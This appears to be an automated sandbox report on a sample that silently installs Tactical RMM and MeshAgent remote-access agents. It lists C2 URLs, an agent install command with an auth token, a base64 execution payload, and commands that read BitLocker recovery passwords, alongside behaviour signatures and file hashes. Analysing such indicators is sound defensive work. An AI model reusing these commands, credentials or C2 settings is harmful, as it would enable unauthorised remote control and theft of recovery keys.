reconnectedNatsPingIntervalNatsStandardPortNetApiBufferFreeNetLocalGroupAddNetLocalGroupDelNtSuspendProcessOpenProcessTokenOther_AlphabeticPayment RequiredProxy-ConnectionRCodeFormatErrorRead after CloseRegQueryInfoKeyWRegQueryValueExWRegisterClassExWRegistrationInfoRemoveDirectoryWRtlGetCurrentPebSETTINGS_TIMEOUTSHA-512-256-sessSafeArrayDestroySeDebugPrivilegeSetClassLongPtrWSetClipboardDataSetDllDirectoryWSetEntriesInAclWSetFilePointerExSetFileValidDataSetMenuItemInfoWSetPriorityClassSetServiceStatusSignatureScheme(System32\cmd.exeTactical RMM v%sTerminateProcessTrackPopupMenuExTranslateMessageUnregisterClassWUpgrade RequiredUse a http proxyUser-Agent: %s VirtualProtectExWWW-AuthenticateWinVerifyTrustExWorkingDirectoryWww-AuthenticateZanabazar_Square runtime stack:

Extracted

Family
  • meshagent

Version
  • 2

Botnet
  • TacticalRMM

C2
  • http://mastiffsystemsmesh.mytrmm.com:443/agent.ashx

Attributes
  • mesh_id

    0x841F73B273680CE972E11DE4D9D860D4133570D0EF3A311AF0D1771A0BBA5B35A9BF1E3D443531CDC25CC082246639BE

  • server_id

    4A595DA5DCFB8F4667B26A40509C81FFD5CC8C6E5173C8B4599AC0EDAD4DE774F0BA8F55C6AA291179B45E62FBE4AD3F

  • wss

    wss://mastiffsystemsmesh.mytrmm.com:443/agent.ashx

Signatures

  • Family: MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

  • Family: Supershell

    Supershell is a cross-platfrom reverse shell written in Golang.

  • Detects MeshAgent payload 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 2 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5084
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Users\Admin\AppData\Local\Temp\is-MSMJG.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-MSMJG.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$C006C,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:5916
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1136
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2964
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1432
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4848
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3304
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5784
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6128
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:616
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1768
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://mastiffsystemsapi.mytrmm.com --client-id 43 --site-id 51 --agent-type workstation --auth 54061b12a2467a48b4e2ea56c43f77b6207615bd015c58cb67366de489fe8a7b
      2⤵
      • Executes dropped EXE
      • Modifies trusted root certificate store through registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5168
      • C:\Program Files\TacticalAgent\meshagent.exe
        "C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall
        3⤵
        • Sets service image path in registry
        • Executes dropped EXE
        PID:3852
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
        3⤵
        • Executes dropped EXE
        PID:3192
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:6012
    • C:\Program Files\Mesh Agent\MeshAgent.exe
      "C:\Program Files\Mesh Agent\MeshAgent.exe"
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:5732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -noprofile -nologo -command -
        2⤵
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5812
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
        2⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        PID:4568
      • C:\Windows\system32\cmd.exe
        /c manage-bde -protectors -get C: -Type recoverypassword
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5164
        • C:\Windows\system32\manage-bde.exe
          manage-bde -protectors -get C: -Type recoverypassword
          3⤵
            PID:4316
        • C:\Windows\system32\cmd.exe
          /c manage-bde -protectors -get F: -Type recoverypassword
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4604
          • C:\Windows\system32\manage-bde.exe
            manage-bde -protectors -get F: -Type recoverypassword
            3⤵
              PID:3676
        • C:\Program Files\Mesh Agent\MeshAgent.exe
          "C:\Program Files\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          PID:3120
        • C:\Program Files\TacticalAgent\tacticalrmm.exe
          "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc
          1⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3952
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3368
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
            2⤵
            • Executes dropped EXE
            PID:3608
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\3862383520.ps1
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4344
            • C:\Windows\System32\setx.exe
              "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299861340902
              3⤵
                PID:1772
              • C:\Windows\System32\setx.exe
                "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299862106498
                3⤵
                  PID:4288
                • C:\Windows\System32\setx.exe
                  "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299862837359
                  3⤵
                    PID:3600
                  • C:\Windows\System32\setx.exe
                    "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299866404277
                    3⤵
                      PID:3672
                    • C:\ProgramData\chocolatey\choco.exe
                      "C:\ProgramData\chocolatey\choco.exe" -v
                      3⤵
                        PID:5536
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\3103376356.ps1
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:5132
                  • C:\Program Files\TacticalAgent\tacticalrmm.exe
                    "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc
                    1⤵
                    • Executes dropped EXE
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:5224
                    • C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python.exe
                      "C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python.exe" C:\ProgramData\TacticalRMM\3812038887.py
                      2⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:4816
                    • C:\Program Files\TacticalAgent\tacticalrmm.exe
                      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner
                      2⤵
                      • Executes dropped EXE
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1516
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\1228386906.ps1
                      2⤵
                      • Badlisted process makes network request
                      • Drops file in Windows directory
                      • Command and Scripting Interpreter: PowerShell
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1952
                      • C:\Windows\System32\setx.exe
                        "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299907450941
                        3⤵
                          PID:3840
                        • C:\Windows\System32\setx.exe
                          "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299907868597
                          3⤵
                            PID:4284
                          • C:\Windows\System32\setx.exe
                            "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134283299908373111
                            3⤵
                              PID:2728
                            • C:\ProgramData\chocolatey\choco.exe
                              "C:\ProgramData\chocolatey\choco.exe" -v
                              3⤵
                                PID:1232
                            • C:\Program Files\Mesh Agent\MeshAgent.exe
                              "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
                              2⤵
                              • Executes dropped EXE
                              PID:3764
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\1075140044.ps1
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:3172

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                MeshAgent.db

                                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                                • Size 176KB
                                • SHA256 45bad2a2764bcf52572712b5ad190c002805139ffabca011a38bac94f7cfdee3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MeshAgent.db

                                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                                • Size 39KB
                                • SHA256 b1f03b1002f0ffbf1dd4029a887d7f356b9b0c4a3a44ccbc2deb6929da78d291
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MeshAgent.db

                                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                                • Size 176KB
                                • SHA256 f2e200ea1618fbbfcf4956a30d15cfd8131a8e085f1b677f50d37ac957c5552c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                agent.log

                                • Path C:\Program Files\TacticalAgent\agent.log
                                • Size 144B
                                • SHA256 d68a57b91e0a69e52d6a48b8cae9dbb818f8efaf3498ffc779cfcaa377c662f6
                                • MD5 SHA1 SHA512 TLSH

                                agent.log

                                • Path C:\Program Files\TacticalAgent\agent.log
                                • Size 72B
                                • SHA256 8f960986dc7533ca588dcf29b3ec5e06c051f33eab060092819d548e1a3bb182
                                • MD5 SHA1 SHA512 TLSH

                                nu.exe

                                • Path C:\Program Files\TacticalAgent\bin\nu.exe
                                • Size 39.0MB
                                • SHA256 a97f528f3ec26a62668a5609f211edd0b5fafb7cb469519991b1ea1984da2a8c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                meshagent.exe

                                • Path C:\Program Files\TacticalAgent\meshagent.exe
                                • Size 3.3MB
                                • SHA256 905583adba45b5dd0ec8f33974853fc1fd2515169763fdc973dddcdb20eb249e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                __init__.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\_distutils_hack\__init__.py
                                • Size 6KB
                                • SHA256 df81e6bcba34ee3e3952f776551fb669143b9490fdd6c4caeb32609f97e985b4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                INSTALLER

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cryptography-48.0.0.dist-info\INSTALLER
                                • Size 4B
                                • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                                • MD5 SHA1 SHA512

                                distutils-precedence.pth

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\distutils-precedence.pth
                                • Size 151B
                                • SHA256 2638ce9e2500e572a5e0de7faed6661eb569d1b696fcba07b0dd223da5f5d224
                                • MD5 SHA1 SHA512 TLSH

                                LICENSE

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\requests\LICENSE
                                • Size 9KB
                                • SHA256 09e8a9bcec8067104652c168685ab0931e7868f9c8284b66f5ae6edae5f1130b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                __init__.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\__init__.py
                                • Size 90KB
                                • SHA256 7b6a0675824eb1fa2ff0cb1eb36e358dc454703e51dfa4e9a0e6ccd26a159f0c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _common.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_common.py
                                • Size 25KB
                                • SHA256 6fc6bf5f86491ba962521374472570238929003cebea8e9b6c55224084b52bb0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _ntuples.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_ntuples.py
                                • Size 11KB
                                • SHA256 96f42bc24549636b5707a949b7cc92e89c87f7cea7d343a6d17821ac670dfcd2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _psutil_windows.pyd

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_psutil_windows.pyd
                                • Size 69KB
                                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _pswindows.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_pswindows.py
                                • Size 35KB
                                • SHA256 0bbd52dcb214735be4168d11a2ae192d5bc7265c8cf72c611179476479687f54
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                __init__.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pyasn1\codec\__init__.py
                                • Size 59B
                                • SHA256 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d
                                • MD5 SHA1 SHA512 TLSH

                                pywin32.pth

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pywin32.pth
                                • Size 185B
                                • SHA256 d902584a2a0a5216ce12c712d1378fe07541d32c383d0cc5abcd68412144fe4d
                                • MD5 SHA1 SHA512 TLSH

                                LICENSE

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools-82.0.1.dist-info\licenses\LICENSE
                                • Size 1023B
                                • SHA256 86da0f01aeae46348a3c3d465195dc1ceccde79f79e87769a64b8da04b2a4741
                                • MD5 SHA1 SHA512 TLSH

                                INSTALLER

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\jaraco_context-6.1.0.dist-info\INSTALLER
                                • Size 2B
                                • SHA256 e6184ce10e266134fdcfa401e8f1a95005bcd4f18d16b62b757323e2833fe9a9
                                • MD5 SHA1 SHA512

                                WHEEL

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\packaging-26.0.dist-info\WHEEL
                                • Size 82B
                                • SHA256 1b68144734c4b66791f27add5d425f3620775585718a03d0f9b110ba3a4d88db
                                • MD5 SHA1 SHA512 TLSH

                                LICENSE

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\tomli-2.4.0.dist-info\licenses\LICENSE
                                • Size 1KB
                                • SHA256 b80816b0d530b8accb4c2211783790984a6e3b61922c2b5ee92f3372ab2742fe
                                • MD5 SHA1 SHA512 TLSH

                                pywin32_bootstrap.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\lib\pywin32_bootstrap.py
                                • Size 772B
                                • SHA256 fd31f27bc85a6b9c974670838b6eefafb32991be4a9f840f96a4f5524df3b3c3
                                • MD5 SHA1 SHA512 TLSH

                                __init__.py

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32comext\internet\__init__.py
                                • Size 139B
                                • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                                • MD5 SHA1 SHA512 TLSH

                                mibdump.exe

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Scripts\mibdump.exe
                                • Size 105KB
                                • SHA256 b09618bd0697939681a2aac76bf6d35a8641c784dee0eb5f253938e36f6a70ca
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                VCRUNTIME140.dll

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\VCRUNTIME140.dll
                                • Size 117KB
                                • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _socket.pyd

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\_socket.pyd
                                • Size 85KB
                                • SHA256 65caaa6f35c329d901ba3f3d9f7fc4d7443dcde89907dccbd6748786cc517476
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                python.exe

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python.exe
                                • Size 103KB
                                • SHA256 3adbbf2af609e206e3ca18cd55fc7c4b52f5c8bb8218dd99fd5a9e50d7a193cd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                python3.DLL

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python3.DLL
                                • Size 72KB
                                • SHA256 f3d0cd260a46a9617a8b1d4d5e8703278478c22a910165bffb4e4ddf6562d93f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                python314._pth

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python314._pth
                                • Size 79B
                                • SHA256 e5e2f410d50987906471dc221849354947e5d8a5781234089b133285eced37a8
                                • MD5 SHA1 SHA512 TLSH

                                python314.dll

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python314.dll
                                • Size 6.5MB
                                • SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                python314.zip

                                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python314.zip
                                • Size 3.9MB
                                • SHA256 c357999186a62eb8d88624e0487138684ea26ab236fd8fa0db589a00235b7bf3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                tacticalrmm.exe

                                • Path C:\Program Files\TacticalAgent\tacticalrmm.exe
                                • Size 11.8MB
                                • SHA256 50bd75acffec398028502fca967529f72cff40083dfbe137a9712628bcc0fef1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                3812038887.py

                                • Path C:\ProgramData\TacticalRMM\3812038887.py
                                • Size 167B
                                • SHA256 8eb837aa261848788cbdd8ef39bbb68b2d0ba22cf9a62f9a52c5180c6d6c83a6
                                • MD5 SHA1 SHA512 TLSH

                                3862383520.ps1

                                • Path C:\ProgramData\TacticalRMM\3862383520.ps1
                                • Size 35KB
                                • SHA256 44e045ed5350758616d664c5af631e7f2cd10165f5bf2bd82cbf3a0bb8f63462
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                tacticalagent-v2.11.0-windows-amd64.exe

                                • Path C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
                                • Size 5.0MB
                                • SHA256 99b5544169550f7915322411b90af71dc9883d53ba5938025e7db440b6cc1d5e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                _processed.txt

                                • Path C:\ProgramData\chocolatey\bin\_processed.txt
                                • Size 21B
                                • SHA256 710c5ef2c5a2c6dbf141c4ff4f7f8b9c1d996369ac0876ab5c5804e8c1ea0384
                                • MD5 SHA1 SHA512

                                choco.exe

                                • Path C:\ProgramData\chocolatey\choco.exe
                                • Size 11.5MB
                                • SHA256 cb3623ee613d28db9a4b7bf40c1df2e7b9c21e709902276bae9d3f6368574404
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                chocolatey.config.backup

                                • Path C:\ProgramData\chocolatey\config\chocolatey.config.backup
                                • Size 809B
                                • SHA256 86f10504ca147d13a157944f926141fe164a89fa8a71847458bda7102abb6594
                                • MD5 SHA1 SHA512 TLSH

                                choco.summary.log

                                • Path C:\ProgramData\chocolatey\logs\choco.summary.log
                                • Size 147B
                                • SHA256 0fccb8b8846383b3e2a930b09216cf2b637ed910870af889ad861f1315ee36e5
                                • MD5 SHA1 SHA512 TLSH

                                chocolatey.log

                                • Path C:\ProgramData\chocolatey\logs\chocolatey.log
                                • Size 4KB
                                • SHA256 fd1ab670187ddb4014f37a6d7644de5184220c75cb30e8b11c278adc3f5ad501
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                chocolatey.log

                                • Path C:\ProgramData\chocolatey\logs\chocolatey.log
                                • Size 5KB
                                • SHA256 f1fe2448a36a9a37771b1ecc39259a057ca4de9a262fa4a4080c09f0aba788a3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
                                • MD5 SHA1 SHA512 TLSH

                                chocolatey.zip

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\chocolatey.zip
                                • Size 5.5MB
                                • SHA256 40778cc59245b3eb6ea5147aeef5bea5d577419e5abce22a224189740dc16db5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                chocolateyInstall.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall.ps1
                                • Size 16KB
                                • SHA256 c46903cfed1d74620630d0653ce057b3079af5789afeb1a5f884298a8693b4ec
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                CREDITS.json

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\CREDITS.json
                                • Size 4KB
                                • SHA256 c5fad22315b60877f304ca3d3e5a40549efb55d742a23917a2f5b275a5916144
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                CREDITS.pdf

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\CREDITS.pdf
                                • Size 168KB
                                • SHA256 dc18f6fd6ca9cc102d3eff336b90afbfa564981529953ed8b47eaa83acc56286
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                CREDITS.txt

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\CREDITS.txt
                                • Size 26KB
                                • SHA256 e8dab7ad60ca5003e6792f929c609bfe83be1e42f8bd9a1d9fe93efacc19390a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                LICENSE.txt

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\LICENSE.txt
                                • Size 670B
                                • SHA256 a42ac97c0186e34bdc5f5a7d87d00a424754592f0ec80b522a872d630c1e870a
                                • MD5 SHA1 SHA512 TLSH

                                choco.exe.manifest

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\choco.exe.manifest
                                • Size 2KB
                                • SHA256 d715d6071e5cdd6447d46ed8e903b9b3ad5952acc7394ee17593d87a546c17fc
                                • MD5 SHA1 SHA512 TLSH

                                Chocolatey.PowerShell.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\helpers\Chocolatey.PowerShell.dll
                                • Size 38KB
                                • SHA256 366b891888c8f820329842bb5243f7df050a335d70cfb74d21a109ac7b96cc81
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Chocolatey.PowerShell.dll-help.xml

                                • Path C:\Users\Admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\helpers\Chocolatey.PowerShell.dll-help.xml
                                • Size 58KB
                                • SHA256 a0bcb2523147215e66a126f8b69e578043c14fee3d72df085f54c53e0d3cfbd9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ChocolateyTabExpansion.ps1

